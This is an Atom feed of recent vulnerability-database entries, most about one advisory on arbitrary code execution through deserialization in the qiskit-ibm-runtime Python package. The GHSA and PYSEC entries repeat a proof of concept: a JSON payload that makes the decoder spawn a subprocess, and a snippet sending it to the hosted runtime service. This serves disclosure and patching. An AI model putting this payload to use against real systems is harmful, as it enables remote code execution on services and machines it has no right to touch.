<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-12T19:00:25.441458+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-4596</id>
    <title>EUVD-2026-4596</title>
    <updated>2026-10-12T19:00:25.444419+00:00</updated>
    <content>EUVD-2026-4596</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-4596"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-29032</id>
    <title>fkie_cve-2024-29032</title>
    <updated>2026-10-12T19:00:25.444447+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Qiskit IBM Runtime is an environment that streamlines quantum computations and provides optimal implementations of the Qiskit quantum computing SDK. Starting in version 0.1.0 and prior to version 0.21.2, deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can lead to arbitrary code execution given a correctly formatted input string. Version 0.21.2 contains a fix for this issue.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-29032"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-x4x5-jv3x-9c7m</id>
    <title>GHSA-x4x5-jv3x-9c7m — `qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code</title>
    <updated>2026-10-12T19:00:25.444477+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: qiskit-ibm-runtime</p>
<p>### Summary</p>
<p>deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string</p>
<p>### Details</p>
<p>`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159</p>
<p>### PoC</p>
<p>```python
malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)</p>
<p>_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal
```
(where obviously "echo hi" can be replaced with something much more malicious)</p>
<p>notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&lt;ibm_cloud_credentials&gt;)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"
```</p>
<p>### Impact</p>
<p>i don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-x4x5-jv3x-9c7m"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2024-29032</id>
    <title>gsd-2024-29032</title>
    <updated>2026-10-12T19:00:25.444522+00:00</updated>
    <content>gsd-2024-29032</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2024-29032"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-1858</id>
    <title>PYSEC-2026-1858 — `qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code</title>
    <updated>2026-10-12T19:00:25.444535+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: qiskit-ibm-runtime</p>
<p>### Summary</p>
<p>deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string</p>
<p>### Details</p>
<p>`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159</p>
<p>### PoC</p>
<p>```python
malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)</p>
<p>_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal
```
(where obviously "echo hi" can be replaced with something much more malicious)</p>
<p>notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)
```python
service = qiskit_ibm_runtime(&lt;ibm_cloud_credentials&gt;)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"
```</p>
<p>### Impact</p>
<p>i don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-1858"/>
  </entry>
</feed>
